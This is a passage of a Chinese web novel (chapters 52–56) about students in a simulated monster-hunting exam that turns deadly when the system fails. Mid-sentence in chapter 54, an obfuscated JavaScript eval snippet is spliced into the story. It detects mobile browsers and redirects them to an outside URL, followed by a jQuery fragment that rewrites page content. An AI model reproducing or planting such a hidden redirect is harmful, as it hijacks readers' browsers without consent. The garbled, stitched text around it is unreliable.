黎子鸣在旁边收拾附魔器的声音乒乒乓乓地传来,不一会儿都装进了长条背包里,背着走到门口。 看装备都准备的差不多了,林欣予把手电筒递给黎子鸣说:“走吧。” “等等。”苏佑容突然又叫住他们:“林欣予,你也没那么喜欢那个人吧。你敢说,刚刚她挑剔的时候、之前她冒然开口的时候,你不生气吗?” “生气。”林欣予倒是承认得痛快,“我觉得她被你骂也好,哪怕现在跑出去出事也好,都是活该。” “但不代表我们应该放弃她,就像她说的,她也不是什么都没做。” 林欣予拉着黎子鸣出了门,手里的煤油灯和手电筒成为了月光以外的唯一光源。 “后面慢慢磨合吧。” 看着逐渐远去的两人,原本的四人小队,现在只剩苏佑容在这个宅子里了。 不知道是他抛下了别人,还是他被抛下了。 所有事情都发生的很突然,在短短十分钟内四分五裂。他有些失神地坐回饭桌边,桌上的饭菜还没失去温度,但人却都不在了。 52.医馆 “奕萱!” “欧阳奕萱!” 昏暗的小巷中,呼唤名字的声音此起彼伏,一盏煤油灯和一把手电筒是两人手里唯一的光源,能照亮的地方十分有限,剩下的光亮只能依靠天上的月亮。 这块居民区布局错综复杂,到处都是小路和死路,欧阳奕萱不过比他们早跑出去五分钟,现在就已经找不见人了。 林欣予手里的煤油灯闪烁,火苗轻轻摇曳着,带着火光也在黑暗里缓缓波动。 喊了几分钟但了无回音后,林欣予咋舌,不爽到想把煤油灯砸地上。 “那个,你实在不爽的话,要不就骂几句吧,我听着。”黎子鸣突然把手电筒朝向林欣予,照得她晃眼。这一照才发现,她也有点气鼓鼓的样子。 “别拿手电筒对着我。”林欣予略带手劲地把手电筒推开,“没什么好说的,欧阳奕萱的毛病我之前也能看出来,至于苏佑容,认识他也不是一天两天了,他情绪不稳定也不是这一天两天……” 一边说着,林欣予皱了皱眉,表情沉重下来。 黎子鸣怔怔地看着她的表情变化,半晌才问道:“你在内疚?” “……没有。”林欣予回答地快,但语气明显没那么坚定,“俩大小姐大少爷吵架,我们平民遭殃,我又没做错什么。” “你觉得自己明明知道他们会吵架,但却没避免这点,所以内疚,是吗?” “……”这回半晌没说话的人变成了林欣予。黎子鸣这番话像一把锤子,重重地捶在她心口,发出了闷声,却把很多东西捶出去了。 随着体力消耗,寻找的步伐也慢了下来,两人打着灯在小巷里漫无目的地走着:“也不算内疚吧,只是觉得我明明知道会发生什么事,也知道能怎么避免,但最终这些事情还是发生了,就会感觉很难受。” 夜空忽地刮了一阵风,刮来一片薄薄的云雾遮住一半月亮,周围的环境骤然更暗了。 林欣予接着说道:“我也知道我什么都没做错,问题也不在我身上,但我就是没法停止想这些。” “你已经做到最好了。”突然,黎子鸣斩钉截铁地说道。 他站在月光的阴影里,手中手电筒的光亮愈发耀眼:“你把那两人调和到现在才产生大矛盾,已经觉得很不容易了,换成我的话肯定做不到。” 想了想,他又补充了一句:“要是只有我在那,那俩肯定在还没进系统的时候就已经吵起来了。” 听完黎子鸣这番话,林欣予突然“噗嗤”一声笑了:"别在这种奇怪的地方和我比啊。" 看着她展开笑颜,黎子鸣也笑了起来:“心情好点了?” “好多了。”林欣予点点头,“谢谢你安慰我,走吧,抓紧时间找人。” …… 欧阳奕萱跑出来五分钟,就有点后悔了。 模拟地图里除了学生以外没有其他人类和动物,深邃的黑暗里连声蝉鸣都没有。她跑出来的时候不动脑子,身上现在一点光源都没有,只能扶着旁边的墙艰难往前走,连方向朝哪都不知道。 但是,她实在不想和那个姓苏的玩意儿在一起。是,她也知道自己的要求在这个情况下有些矫情,但不能好好说话吗?如果多劝她几句,她也不是完全接受不了,但那姓苏的凭什么一上来就吃火药一般地骂人,搞得现在她根本无法接受住在那个地方了。 人就是这样,有时候气上来了,因为赌气能做出来很多离谱的事。就比如现在,即使欧阳奕萱在黑漆漆的小巷里快被吓死了,也没产生回去低头和好的想法。 倏然,起风了。风卷起云层,遮住一半月亮,本就不多的视野更是雪上加霜。 欧阳奕萱颤抖了一下,冷倒是不冷,就是这地方到处都是古宅,还一个人都没有,黑暗处还随时有可能产生怪物,简直就像大型恐怖游戏布景。好吧,说到底也就因为她知道这是模拟系统,如果换做现实,说不定她根本不会跑出来。 又摸索着踉踉跄跄走了四五分钟,欧阳奕萱被黑暗、恐惧和未知打败了,她不找了,她要回去那个虽然脏不拉几但是有光有人的宅子。 她转头返回,身后也是一片黑暗,把她钉在原地。 很显然,她找不到回去的方向了。 这下完蛋了!发觉自己迷失方向后,大小姐双腿发软,差点靠着墙坐下去。但是不行,事到如今只能靠自己。她给自己打着气,又扶着墙站稳,既然现在找不回去了,好歹先找个类似的宅子,自己可以再起障,至少能安全地渡过这个晚上。 走着走着,她的手摸到了木质门框,一抬头,赫然是一间宅邸的大门,看门的大小,宅邸规模估计比几人之前找的那地方要大不少。 木制的门扉紧闭着,门头上写着一块匾,前面两个字很模糊,借着微弱的月光只能看见后面两个字是“医馆”,看上去是坐落在居民区的一家民间中医馆,站在门外也能闻见淡淡的中草药气味。 “要不,就这里了。”欧阳奕萱自言自语地说着,希望自己的声音可以给自己多点勇气,伸手推开了那扇门。 古朴的大门有些重,欧阳奕萱费了些力气才推开,但是推开后的合页很顺畅,没有一点阻力和吱吱呀呀的声音,像是被精心包养过一般。一开门,中草药的气息更加浓郁了。 欧阳奕萱走进去,又把门关好。院子很大,几乎有刚刚那个民宅的两倍大,院内的装饰也明显精致很多,除了一些桌椅外,院子的一角还有个花坛,里面盛开着各式各样的花。 不知道为什么,欧阳奕萱觉得自己来对地方了,这地方看着比之前那个宅子豪华多了。她神情复杂的看向门口,想着要是一会儿有人来找她,她就建议大家挪到这边来住吧。 继续往里走,她打开了正房的大门,一进去是一个迎客的地方,右手侧面有个半人高的柜台,柜台后面放着药柜,中草药的气味就是从这里传出来的。除此之外,柜台上还放着很多东西,一些药单,包药的纸,一排毛笔和一支钢笔,甚至还有一台老式电话机。 如果是现实世界的话,这家医馆肯定生意不错,能用得起这些民国时期的高级货。 “希望这里有附魔材料。”欧阳奕萱走进柜台里面翻找,希望能找到一些合适的附魔材料,这样她就能够起障。她打开柜台上的台灯,灯光很亮,照得这块地方居然有些温 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欧阳奕萱环顾四周,宽敞的房间里到处都是生活的痕迹。破了一角的窗户,随意放在房内的小凳子,还有这些零散的药材和纸笔……和其他地方的布景差距太大了! 如果小队四个人都在这里,他们绝对会把这个明显不同的地方搜一遍,肯定会有独特的发现。但机遇也意味着危险,欧阳奕萱现在只有一个人,她没有冒险的胆子! 我得离开这里!欧阳奕萱在发现布景的差异后,一瞬间就涌上来一股十分不详的预感,她慌乱的翻找手边的柜子,找到手电筒后毫不犹豫地推门而出,回到宽敞的庭院里,打开手电筒准备离开。 手电筒上有点灰,但她已经怕到没工夫在乎这个了,奋力地按开按钮,却发现手电筒闪了一下,黑了。 “别啊,亮起来!”她浑身冒冷汗,焦急地重复按开关,但始终没反应。她急得不行,这手电筒简直火上浇油,她干脆直接把这不好使的东西摔在地上,打算回屋找其他光源。 有趣的是,这手电筒在地上滚了两下,闪了闪,亮了。 欧阳奕萱也是一阵无语,合着这手电筒是吃硬不吃软。但好歹是亮了,她也不再寻找,离开这个地方才是现在最重要的。 她走近滚出一段距离的手电筒,伸手想捡起来,却在明亮的光源下看见一块明显颜色不同的地面。 “这是什么?”她疑惑着,但并没有在意,捡起手电筒就打算离开,却在触碰到手电筒的时候感觉到一片湿润。 她拿起手电筒的时候,光线不可避免的照亮了那块地面,是一片通红。 “诶?” 欧阳奕萱愣住了,手上还传来湿润的触感,握着手电筒的手微微颤抖,带着那束光也颤抖着,照亮那块被红色浸湿的地面。 那是血,她闻到了铁锈般的血腥味,伴着淡淡的月光,周围仿佛弥漫出一片血雾。 倏然间,妖风四起! “啊!”欧阳奕萱尖叫抱头,周围的空气突然凝重起来,庭院的中心刮起剧烈的风,几乎要把她掀翻。 那片红色的血逐渐变黑,被卷进风里,变成黑色的龙卷,冲天而起!!! 53.逆转 像是为了要和黑夜分开来一般,这突然冲天而起的魑魅龙卷,散发诡异的血红色,在深沉的夜空里格外显眼。 相隔几百米的主干道上,方忻乐刚刚安置好所有队员,转眼就看到了势若连通天地的血龙卷,隔着玻璃也传来阵阵威压。 “有队伍触发诞生点了,要过去看看吗?”何凯也注意到了,在她旁边问道。 “不去。”方忻乐摆了摆手,“我们现在状况太糟糕了,过去也是送死。更何况看那架势,除了黎子鸣那个怪物外没人打得过。” 方忻乐甩给何凯一袋干粮和水:“现在就祈祷碰到那玩意的不是苏佑容他们队吧,不然榜首就要易主了。” …… “啊啊啊啊啊啊啊啊啊啊啊啊啊!!!!” 血色龙卷的中央,卷起欧阳奕萱的尖叫声,她抱着房子的一根柱子,拼尽全力才能让自己不被卷跑,精致的发型被狂风吹得乱七八糟。事发太过突然,她根本没有余力去反应到底发生了什么,或者说她想反应什么,但最后都只剩下尖叫。 半晌过后,龙卷风终于平息了一些。 要逃!欧阳奕萱没有任何硬刚的想法,在狂风稍微减弱的时候,就松开柱子往门口趔趔趄趄地跑。却又被身后一股巨大的吸力扯了回去,重心不稳直接摔倒在地上,衣服也全脏了,狼狈不堪。 “不要啊!”事到如今,她也没工夫管自己的洁癖了。往身后一看,全是黑压压的魑魅,还在成型的过程中。而刚刚已经有一只形成了手臂的魑魅,拽住了她的腿,把她死死钉在原地。 不行,不能这样!她努力把腿往回抽,但那黑漆漆的怪物抓得死死的,眼看着布满尖牙的血盆大口也要形成了。 欧阳奕萱看着那张大的尖牙利齿,大脑突然一片空白了—— 会死的! 会死的会死的会死的会死的会死的!!!! 不要!她不想死,她不能死在这种地方! 面对生死关头时,肾上腺素通常会驱使人做出两种行为,一种是彻底停止活动能力,另一种则是大幅度激发人的潜能。 而欧阳奕萱很幸运的,是第二种。 她在口袋里摸到了附魔的钉子,那是用来做障的材料,但她现在没有做障的时间。分秒之间,她不再犹豫,掏出那根钉子注入灵力,径直投向了抓住她的黑手! 白光一闪,那黑手的手腕处赫然出现一个空洞!而手指一松,欧阳奕萱把脚抽了出来! 跑! 没有丝毫耽误,她使出了自己从小到大从没达到过的跑步速度,飞速跑出了那片宅邸,而身后的魑魅也有了成型的形状,追着她一起跑了出来! “黎子鸣!黎子鸣!!!” 这姑娘也聪明,知道这种时候喊谁的名字最有用。 “黎子鸣!!!” 惨烈的喊叫声伴随着破空声同时响起,接着“叮——”的一声,一把银白色长剑倏然插入欧阳奕萱身后的地面,带着白色的灵力尾焰,瞬间爆发!刹那间就将追她最紧的那只魑魅穿成飞灰! “诶?”欧阳奕萱还没反应过来发生了什么,只听见又是“叮叮叮”三声,数把附魔器飞过,像是装了导航一样,眨眼间又解决了三只魑魅。 “欧阳奕萱!”一个略带焦急的女生声音朝她喊道:“别停,继续跑!” 这句话一下又打开了她的开关,继续往前跑去,不一会儿,就在远处看见了两个熟悉的身影。 “欣予!”她尖叫着,猛地扑到了林欣予怀里,刚刚肾上腺素的作用在见到这两人的瞬间下去了,她只觉得浑身酥软,瘫倒在对方怀里一时半会儿动不了。 “不是,现在别……”林欣予突然被瘫软的身子压住,动作也迟缓下来,她咬咬牙,把过度惊吓的女生扶到墙边坐下,“我们先去解决那些魑魅,还能动吗?这条路左拐再直走就能回到刚刚设了障的地方,那里就安全了。” 欧阳奕萱粗重地喘着气,断断续续地回应道:“好……我知道了,前面,前面有个医馆,那里是诞生点,要信号枪……” “啧。”林欣予又没忍住咋舌,“信号枪在苏佑容那个混蛋那,没时间回去叫他了。” 两句话的谈话时间里,黎子鸣已经一声不吭地冲进了魑魅堆里,白色的灵力在血黑的烟雾里如一颗颗闪光弹,没过一会儿就炸一颗,伴随着粉碎的魑魅和粉碎的附魔器,杀得那叫一个砍瓜切菜,队伍的分数2分2分地往上慢慢跳着。 “喂,你刚叫谁混蛋呢?”突然,一个不爽的声音从两个女生的身后传来。 苏佑容一手拎着那个装弹夹的破帆布袋子,另一手叉着腰,咬牙切齿地出现在两人身后。 看到他的一瞬间,欧阳奕萱把脸别了过去,不说话也不看他。 苏佑容瞪了她一眼,又被林欣予瞪了回去:“刚刚谁说‘反正我不出来追’的?” “刚刚是刚刚,现在是现在。”苏佑容明显也没完全消气,谁也不知道他是抱着什么心态追出来的。但看着他手上的信号枪和弹夹,肯定是有备而来。 另一边冲进魑魅堆的黎子鸣,余光瞄到多了一个人,毫不犹豫地喊道:“苏佑容!枪!” “知道了!”苏佑容也喊着回应他,没再管还在和他赌气的欧阳奕萱和损他的林欣予,把帆布包挎在身上,拿出红色信号枪熟练的换弹上膛,隔着几十米的安全距离,举枪瞄准,瞬间打完了一梭子。 队伍的得分瞬间变成了+7+7+7。 他熟练地退膛,又装上新的弹夹,还有闲暇吐槽几句:“这个密度,我都不用瞄准啊。” 形式瞬间逆转,狭窄的巷子里,刚刚被突然涌出的魑魅堆满,追着欧阳奕萱跑了多远就追了多远。而现在在黎子鸣的攻势下,居然开始渐渐后退。 而显然,这支队伍没有撤退的打算。 黎子鸣手感火热,一刀下去甚至能砍两只。这些魑魅看上去声势浩大,但刚刚从诞生点出来,没有时间积攒力量,完全不如那些成熟的魑魅。而黎子鸣只要附魔器补给充足,对付这些魑魅简直比踩蚂蚁还要轻松。 但他也能感觉到,身上装着附魔器的背包越来越轻,后面得省着点用了。 当他产生这种想法的时候,已经能看到医馆的大门。 “就是那!”欧阳奕萱给几人指着,当下这种情况,她也没有回去的必要,干脆跟着队伍一起走,“那个医馆里面,诞生点在庭院中间!” 偌大的庭院里,龙卷风已经小了很多,在庭院中间低低盘旋,还在孕育着新的魑魅。而越靠近中心,黎子鸣也觉得有点吃力,附魔器的质量有点跟不上他的灵力注入量了。 要是零器就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362828|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会有这些问题……他不可避免地想着,又突然发觉自己的想法已然产生了很大的变化,自从他有了那件零器的使用权,他就开始依赖它了。 不应该这样!他有些愤愤地把手里的长刀挥下,带着面前的魑魅一起灰飞烟灭。再往前一步,就能进入医馆。 一颗子弹擦着黎子鸣的身体过去,红色的记号瞬间烙印在诞生点上。苏佑容吹了吹枪口并不存在的烟,不管其他的,标记诞生点这20分他们总得拿下。 这一路过来,黎子鸣在前面冲,苏佑容在安全的地方放枪,他瞄得准,和黎子鸣配合得也很好,标记一个黎子鸣杀一个。林欣予则是跟在黎子鸣后面,处理一些黎子鸣没消灭干净的魑魅碎片,只能说无比分工明确。 至于欧阳奕萱,也不知道该怎么说她。你说她运气好,她一个人闯进诞生点中心,差点把自己交代在那里;你说她运气不好,她除了衣服脏了以外,毫发无伤地逃了出来,还带着队友找回来,疯狂拿分。 所以现在,她心安理得地跟在苏佑容和林欣予中间,反正前后都有人护着,也没人指望她去打架。 将近半小时过后,黎子鸣包里的附魔器见底,只剩两把短刀,而庭院里和小巷中的魑魅都被处理干净了。只剩下孤立无援的诞生点,诞生点像团燃尽的火苗,一时半会儿估计无法诞生新魑魅。 “这个怎么处理,要毁掉吗?”黎子鸣问道:“规则里面有毁坏魑魅点的得分吗?” “没有。”苏佑容干脆地摇了摇头,“我在想,要不要留着它,我们可以守着,出来一个我们就可以拿7分……但我又感觉这样效率太慢。” “毁了吧。”旁边的林欣予倒是给了一个很明确的意见:“不说现实里会不会有除魅师发现诞生点还不毁灭,我们留在这,诞生的魑魅说不定给其他组送分。” 苏佑容不可置否,还在思考着,半晌后才算勉强同意了:“那就毁了吧,话说没把毁坏诞生点作为得分条目,是不是因为老师们不认为我们能毁坏诞生点?” 林欣予耸了耸肩:“换做别的正常人肯定毁不掉,但是……” 只见黎子鸣听到准确的答复后,抽出最后的两把短刀,白色灵力迸发,好似要照亮夜空,他瞄准诞生点旋涡的核心,用力将两把短刀一并投掷而出。 “我们的队友可不是什正常人。” “砰——!” 伴随着一阵低沉的爆炸声,黑色的漩涡彻底消失,只留下几片被风卷成圆形排布的落叶,以及地面上一滩早已干涸的血迹。 看到这,大家都松了一口气,危险彻底解除了。 “接下来——”苏佑容念叨着,拉出菜单页面,调出队伍得分的排行榜。 另外三个脑袋也一起凑了上来,虽然他们也可以看自己的菜单,但是凑在一起看总要更有氛围。 不出意外地,他们的得分来到第一名。 “具体的分数呢?苏佑容!你别挡!”林欣予略带不爽地想要扒拉苏佑容挡住分数的手。 苏佑容喘着气,他根据信号枪子弹的消耗能估算出大致分数,但真要看的时候,还是有点紧张。 像是在等老师报分数、希望拉第二大分差的小学生。 终于,他挪开手,一个惊人的数字出现在众人眼前。 【第一小队 272分】 55.变故 “我们不想卷什么第一第二,我们只是想活着通过考试。” 一见到苏佑容,段梦婷就开门见山地说道,但面对气场强大的四个人,段梦婷说着说着还是带了点磕巴:“我、我看了现在的得分,你们已经拉开第二第三很大差距了,我们想要及格只需要30分……不,需要36分(因为阵亡一人要扣20%),达到分数后,我们剩余的信号枪子弹和其他物资可以全部提供给你们队,只是想寻求你们的庇护,只要让我们活过剩下两天就行。” 苏佑容饶有兴趣地看着眼前这个有些陌生的女生,他也是在欧阳奕萱的提醒下才想起段梦婷的名字的。只不过,段梦婷此时找上门来说这些话,让苏佑容一时不敢确定他们的真正目的。 在竞争关系如此强的考试之中,居然只追求及格,甚至愿意给予重要物资,怎么看怎么觉得有陷阱。 半晌,苏佑容才缓缓开口:“段梦婷是吧,你也是个聪明人,第一天只有你们和我们队采取了同样的策略,看你们的状态,昨天晚上休息的很好吧?” 段梦婷愣了一下,苏佑容说的没错,他们昨天晚上完全没考虑找魑魅夺分的事,就是在找药品找食物找住所,所以现在都还保存着很好的体力。 “是这样没错。”段梦婷说。 “那我怎么能确定,你们不是想要厚积薄发?此时来找我们合作也是为了方便之后的反水,背刺目前排名第一的队伍,对你们来说比寻求庇护更有利吧。” 段梦婷一下子愣住了,她没想到苏佑容以己度人说出这么一番话:“我们没这样想过……” 苏佑容的态度很明显,他不同意这个所谓的合作,对他来说收益远远小于风险,商人不会选择无利益的买卖。他看段梦婷一时哑口无言,还想乘胜追击,却听见段梦婷来了这样一句话: “分数就那么重要吗?” 段梦婷攥紧拳头,指甲都快嵌进肉里:“我们队伍很弱小,如果想通过背刺你们拿分,根本不用来找你们合作,像方忻乐她们一样使阴招不是更好?我们只是想安全的活下去。” “我是队长,我知道我没力量保护我的队员们。我知道在竞争关系中寻找这种不平等的合作完全不符合常理,但我真的不想再看到有人死去了。” 她知道,苏佑容没办法理解。他没办法理解看见自己的队友在自己眼前死去而自己毫无办法的无力感。段梦婷也好,她的队友也好,大家早已把生命看得比分数更重。 “说到底,学校设置这样一个考试环境只是为了让大家分个分数高低吗?如果这里是现实,你也能对同学的生命不管不顾吗?” 段梦婷这话到是有点道德绑架了,但苏佑容真的吃这一套,他的表情一下子难看起来。他昨天晚上被林欣予扇了一巴掌的脸颊又开始火辣辣的疼,那些质问又开始回荡在他的脑海里。 “我知道了。”沉默片刻后,苏佑容叹了一口气,“那你们可别辜负我们的信任了。” 换言之,他们同意合作了。 段梦婷一时间还没反应过来这拐弯抹角的话,在队友的提醒下才如梦初醒:“肯定的,我们会遵守刚刚所说的约定!” “苏队长,接下来第四小组都听你的调令!” 这一声“苏队长”把苏佑容尴尬得汗毛倒立:“别,还是叫我名字就行了。” 四个人的小队瞬间扩大成了八个人的大队伍,除了苏佑容外,其他三人对这件事本身就没什么意见。他们不是苏佑容那样的卷王,现在的二百多分他们就算躺平也能拿下第一。 段梦婷也是说到做到,苏佑容答应后她就交出了全部的物资,其中的食物确实很丰富,他们甚至找到了巧克力这种高热量零食,管不得人人红光满面。 简单的早餐后,时间将近9点,再过三个小时又要缩圈了。 “按照我们的策略,前往每个圈的中心是最稳妥的方法。”苏佑容在地图上比划着,“我们现在这个位置,其实已经是现在这个圈的边缘处了,但是如果我们继续按照中心方案移动的话……” 他手指划线,拉了一条直线到圈的中央。 “就会完全进入山林里。” 确实,不知道是故意设计还是天意弄人,昨晚第一次缩圈就把大部分城镇地图分到圈外,现在圈内四分之三是荒山,只有四分之一是城镇,下一次缩圈到山里的概率极高。 “当然,也有可能缩圈到边缘,我们就还在安全区内,不用移动。” 沉默片刻后,苏佑容说:“所以我想询问一下大家的意见,山里不仅是魑魅更多,更重要的是各种生活基础物资会更少……”他不禁瞟了一眼欧阳奕萱,连睡粗布床都不乐意的大小姐,真的能忍受之后在山林里露宿吗? “是现在往山里走,到百分百安全的中心区;还是咱们原地不动,祈求圈能缩在城镇里,大家可以投票决定。” 很快,林欣予最先给出回应:“我提议进山。” 她在地图上圈出位置,现在圈的方位靠西北,他们现在的所在地是圈的东南靠边缘的地方。 “苏佑容刚刚少说了一个可能性,如果圈是靠边缘缩,缩到了西北方怎么办?”她指出两边的位置,“如果真的这样,那我们必定有一段时间要处于危险区,我想没人想尝试。” 众人纷纷点头。 “我们现在物资并不少,考试时间也就还剩下一天半,以苟活为目的的话完全够了。进山到中心区域是最安全的,如果缩圈后咱们这块城镇还在,我们也可以再下山回来……总而言之,不会亏。” 林欣予这么一捋,大家也都大致明白了,黎子鸣率先附和:“我也觉得进山好。” 他这一句像开了闸,段梦婷小队的四个人也纷纷赞同进山。欧阳奕萱犹豫了一会儿,苏佑容担心的对,她确实不太能接受山里的环境,但是她现在也没那么矫情了,很快也赞同了大家的想法。 “好,那就定了。”苏佑容收起系统地图面板,“收拾一下物资,咱们进山!” …… 与此同时,筹划合作的,远不止段梦婷一队。 方忻乐领导的第三小队在昨晚也阵亡了一人,她也开始考虑合作的可能。首选的肯定是苏佑容的队伍,两队现在的分数差距过大,已经没法形成严格的竞争关系,和一个强队合作,也能捞到不少好处,如果能使绊子让他们产生人员损失,自己的队伍说不定还有反败为胜的可能性。 但同时方忻乐也知道苏佑容生性多疑,自己这样找上门,肯定会吃闭门羹。想着想着,她就把主意打到了第四小队上。一个同样产生人员损失的弱队,估计会很乐意和自己的队伍合作。 吃了昨晚缩圈的教训,方忻乐今天一直在注意安全区的动向,也采用了中心方位法,打算和第四小队达成合作后就直接进山,安全为准。 结果却不料,刚到山脚下的住宅区,她就遇到了自己最不愿意见到的一个队伍——戈鸿志所在的第二小队。 冤家路窄,昨天方忻乐渔翁得利抢了戈鸿志队伍一多半的分数,肯定被恨得牙痒痒。方忻乐还在想怎么样避免明显冲突,却不料对面那几个二愣子居然一碰面,就开始直接动手。 戈鸿志提刀冲过来的时候,方忻乐着实吓了一大跳,急忙格挡:“戈鸿志你疯了吗!这里现在又没魑魅,你是想杀人吗!?” “怎么,怕了?”戈鸿志步步紧逼,“昨天抢我们魑魅的时候怎么不怕!” “这是一回事吗!那是战术!”方忻乐怒道,一个卸力挑剑,和戈鸿志拉开距离,全队马上进入了战斗的戒备状态。 “切。”戈鸿志倒是没继续攻击,把大刀抗在肩上,“没准备杀人,就吓吓你们,赶紧滚,这场考试里不想再看到你们了!” 话音刚落,远处就传来他队友的声音:“队长!找到魑魅了!” 戈鸿志眼睛一下子亮了,但他还记得这里有只黄雀,警 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听到方忻乐的吩咐,何凯和其他队友拔腿就跑,几秒钟的时间就拉开了五六十米的距离。 “喂等等,你什么意思!?”戈鸿志还没反应过来,就听见队友的一声惨叫。把魑魅引来的那个男生被魑魅追上,瞬间被咬掉了一只胳膊! “啊啊啊啊啊啊啊啊!!!”痛苦的惨叫瞬间响彻天空,血肉在空中飞舞,在魑魅黑色的颗粒烟尘下仿佛在绘制一幅残酷的画卷。 “晓旭!”戈鸿志瞬间红了眼睛,抬起刀向正在大快朵颐的魑魅冲去,却被方忻乐拉了个趔趄,“方忻乐你干什么!别他妈拦着我救人!!!” “救什么救,赶紧跑!我们根本打不过危险区的魑魅!” 方忻乐也不管什么队伍竞争了,对着戈鸿志被吓傻的其他人喊道:“都跑,赶紧跑!救不回来的,快跑啊!” 其他人这才如梦初醒,但看着血肉横飞的画面,脚步就像灌了铅,怎样都挪不动。 戈鸿志双眼通红,死死咬着下嘴唇,他闻到一股浓郁的血腥味,不知道;来源是自己咬破的嘴唇,还是面前被撕碎的队友。 然而,眨眼间,魑魅丢下残破的尸体,以更快的速度朝着最近的另一人疯狂冲去,张开黑色的尖牙和利爪。 身体比脑子先动了,几乎是同时间,戈鸿志用比那些逃跑的人还快的速度冲了上去,堪堪地挡住了这一击。 “跑!”戈鸿志咬着牙,嘴角流着血,握刀的手臂在重击下颤抖,“跟着方忻乐跑!我来拖住它!!!” 回头,方忻乐还站在那,朝着戈鸿志那些队友喊着“跟我走”。她看眼自己的身后,自己队的何凯带着其他队友已经跑没影了,她“啧”了一声,觉得男人真靠不住。 不过好在戈鸿志这里的人还算识趣,恢复过来拔腿就跑,不搞什么要死一起死的兄弟情,很快就拉开了一段安全的距离。 “危险区……这里怎么会变成危险区?” 方忻乐一边跑一边打开地图,她清楚地记得,行动前她确认过多次,离缩圈还有两个小时,现在的活动区域百分百是安全区。打开地图查看后也是如此,现在的位置明明是圈内安全区,那为什么会出现危险区属性的魑魅!? “哔——” 突然,天空传来一声尖锐的电流声,所有人不约而同捂住了耳朵。 “哔——哔——砰砰。”像是有人在敲话筒。 一个略带电流声的声音从天空传来:“连通了是吗……哦,我现在可以直接说?” 沉默片刻,那个声音似乎是得到了肯定的答案,突然变成了播音腔,电流声也消失不少,冰冷的寒意随着那男声传递而出。 “各位同学,接下来,考试规则产生一些简单的变动。” 随后的六个字,简单而恐怖。 “死亡,即为真实。” 56.集合 冰冷的声音回荡在上空,不清不楚的六个字过后,随着又一声“哔——”的电流声,天空重归宁静。 “什么东西?”苏佑容这边的八个人齐齐望向天空,却找不到声音的来源。 黎子鸣揉了揉耳朵:“幻听?” “八个人一起幻听,不太可能吧。”林欣予看着大家齐刷刷看天的动作,就知道大家都听到了那个声音。 “我觉得那个声音有点耳熟。”黎子鸣接着说,感觉在哪里挺多,是哪位负责的老师吗? 他扫眼其他同学,大家都茫然地摇头。 “没听过诶,可能我没选这个老师的课。” “我也没听过,后勤的技术人员吗?” 他们此时已经爬到了半山腰上,距离目标的中心地点只有一公里了。众人叽叽喳喳地讨论着,也没忘了刚刚广播里的内容。 黎子鸣回忆着刚刚的广播:“死亡啥啥真实的……什么意思?规则改了?” "死亡即为真实。"苏佑容喃喃自语,“从字面意思看,是说咱们从现在开始,在模拟环境中死了,现实也会真死?” “啊?”段梦婷那边的人面露惊恐,“不是吧,不会真死吧!?” “那应该是不会的。”苏佑容安慰道,“我有参与模拟仓的研发,里面根本没有能致人现实死亡的功能。这句话是不是有什么其他含义?比如特殊地图的触发机制……” 正当他思索的时候,旁边突然又传出一声惊呼。 “这是什么!?”欧阳奕萱调出了自己的系统界面,原本地图中央突然出现了几行小字—— 【系统故障】 【分数计算系统已失效】 【自动退出系统已失效】 【安全防护功能已失效】 【请各位同学保护自身安全,耐心等待救援……】 几乎是在几人看见这几行文字的下一秒,系统界面突然泛起雪花,半透明的界面在空中闪烁几下后,居然直接消失了! 段梦婷队伍里有个动作快的,他老早就想弃权了,看到这种莫名其妙的文字,几乎是在同一时间就按下了手环上的按钮。然而预想中的事情并没有发生,他周围的画面没有发生任何变化。 “嗑嗒、嗑嗒、嗑嗒……”一遍又一遍,手环按钮按下的机械声在寂静的山林间比鸟叫还响亮,带着一股股含义从脚底板爬上每一个人的背脊梁。 “嗯……最坏的考虑……”苏佑容沉声道,“那句死亡是真实可能就是字面含义。” 瞬间,大家都混乱了—— “怎么办啊出不去了!” “还不能死是吗!?地图还能打开吗,下一个安全区在哪啊!” “学校什么时候能修好bug啊,怎么能在这么重要的考试里出这种事!” “等我出去了我要投诉!” “先活下去再说吧!!!” 说不慌,是不可能的。现在这个情况,就算是林欣予和黎子鸣都免不得慌乱。林欣予不断尝试调出系统页面,但迟迟没有反应,手上的手环也同样没反应。刚刚看到的短暂提示里,【安全防护功能已失效】这行字最让她害怕。按照她参与的研发部分,安全防护功能主要是指痛觉传递功能,但是这次考试为了真实性,从一开始就没开痛觉传递,那安全防护是指什么? “安全区……”她喃喃自语,“刚刚地图还能开的时候,有人注意安全区吗?” 闻言,众人都愣了一下。黎子鸣举手发言:“我好像,没在上面看见安全区的线。” 像是要为了印证这句话一般,一层薄雾慢慢从山下升起,顷刻间,薄雾渐渐染了层黑色,无数双掩藏在雾气后的眼睛一一睁开,空气骤然间都下降了几度。 还没等有人反应,黎子鸣突然拉开背包的拉链,随便抽出一把短刀朝着段梦婷掷出,注满灵力的利刃快得看不见轨迹,各种声音都在这一刻停滞,空气撕裂,发出轻微的嘶鸣。段梦婷甚至没时间眨眼,那把短刀擦着她的脸侧划过,没入她身后正举起利爪的魑魅体中! 林欣予跟着那短刀一起飞出,抓住段梦婷的手臂,把她拉开到安全距离。苏佑容同时拔出信号枪,子弹射出,却完全无法标记那只魑魅,只是打入了它身后的空气。 “这是危险区的魑魅,这里变成危险区了!” 几乎同时,黎子鸣引动灵力,那把灌注灵力的短刀炸成一朵银白色的花,将魑魅炸得粉碎。 但可怕的是,那魑魅居然没有完全消失,凝实的黑雾被炸掉大半,但还剩一个底子,隐隐有再次复苏的征兆。 “跑!” 苏佑容果断地下令,喊住想往山下跑的几个人:“别下山!雾是从山下来的,往山上跑!!!” …… 与此同时,监控室里,各种警报声响彻云霄。 “喂!喂喂!有人能听见吗!”技术员不断按着通讯器,但看屏幕里学生的反应明显没人能听到。 “靠,这是怎么回事!主管来了吗!?安老师赶过来了吗!?” 